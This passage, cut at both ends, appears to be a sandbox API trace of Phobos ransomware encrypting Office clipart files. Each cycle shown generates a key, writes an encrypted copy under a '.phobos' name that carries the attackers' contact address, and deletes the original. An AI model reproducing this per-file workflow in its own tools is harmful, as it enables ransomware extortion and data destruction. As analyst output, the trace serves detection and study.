hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.310] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4984) returned 1 [0177.310] CloseHandle (hObject=0x2c4) returned 1 [0177.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0177.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.310] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.310] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.311] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1950) returned 1 [0177.311] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.311] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1378, lpOverlapped=0x0) returned 1 [0177.373] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1380, dwBufLen=0x1380 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1380) returned 1 [0177.373] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1380, lpOverlapped=0x0) returned 1 [0177.374] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d17d0) returned 1 [0177.374] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.374] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.374] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0177.374] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.374] CryptDestroyKey (hKey=0x1d1950) returned 1 [0177.374] CloseHandle (hObject=0x2c4) returned 1 [0177.374] CloseHandle (hObject=0x2e8) returned 1 [0177.374] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0177.376] SetEvent (hEvent=0x298) returned 1 [0177.376] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.377] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2332) returned 1 [0177.377] CloseHandle (hObject=0x2e8) returned 1 [0177.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0177.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.377] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.378] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.378] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1550) returned 1 [0177.378] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.378] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x91c, lpOverlapped=0x0) returned 1 [0177.746] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x920, dwBufLen=0x920 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x920) returned 1 [0177.746] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x920, lpOverlapped=0x0) returned 1 [0177.747] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0177.747] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.747] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.747] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0177.747] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.747] CryptDestroyKey (hKey=0x1d1550) returned 1 [0177.748] CloseHandle (hObject=0x2e8) returned 1 [0177.748] CloseHandle (hObject=0x2c4) returned 1 [0177.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0177.750] SetEvent (hEvent=0x298) returned 1 [0177.750] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.750] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=30414) returned 1 [0177.750] CloseHandle (hObject=0x2c4) returned 1 [0177.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0177.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.751] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.751] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.752] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1810) returned 1 [0177.752] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.752] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x76ce, lpOverlapped=0x0) returned 1 [0177.845] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x76d0) returned 1 [0177.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x76d0, lpOverlapped=0x0) returned 1 [0177.846] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d16d0) returned 1 [0177.847] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.847] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.847] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0177.847] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.847] CryptDestroyKey (hKey=0x1d1810) returned 1 [0177.847] CloseHandle (hObject=0x2c4) returned 1 [0177.847] CloseHandle (hObject=0x2e8) returned 1 [0177.847] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0177.849] SetEvent (hEvent=0x298) returned 1 [0177.849] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.849] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=17924) returned 1 [0177.849] CloseHandle (hObject=0x2e8) returned 1 [0177.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0177.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.850] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.850] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.850] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b50) returned 1 [0177.850] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.850] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x4604, lpOverlapped=0x0) returned 1 [0177.927] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4610, dwBufLen=0x4610 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4610) returned 1 [0177.927] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x4610, lpOverlapped=0x0) returned 1 [0177.928] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a10) returned 1 [0177.928] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.929] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.929] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0177.929] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.929] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0177.929] CloseHandle (hObject=0x2e8) returned 1 [0177.929] CloseHandle (hObject=0x2c4) returned 1 [0177.929] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0177.931] SetEvent (hEvent=0x298) returned 1 [0177.931] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.931] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=12958) returned 1 [0177.931] CloseHandle (hObject=0x2c4) returned 1 [0177.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0177.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.932] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.932] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.933] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1950) returned 1 [0177.933] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.933] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x329e, lpOverlapped=0x0) returned 1 [0178.032] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x32a0) returned 1 [0178.032] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x32a0, lpOverlapped=0x0) returned 1 [0178.049] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0178.049] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.049] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.049] CryptDestroyKey (hKey=0x1d1450) returned 1 [0178.049] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.049] CryptDestroyKey (hKey=0x1d1950) returned 1 [0178.049] CloseHandle (hObject=0x2c4) returned 1 [0178.049] CloseHandle (hObject=0x2e8) returned 1 [0178.050] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0178.051] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.052] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3696) returned 1 [0178.052] CloseHandle (hObject=0x2e8) returned 1 [0178.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0178.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.052] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.052] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 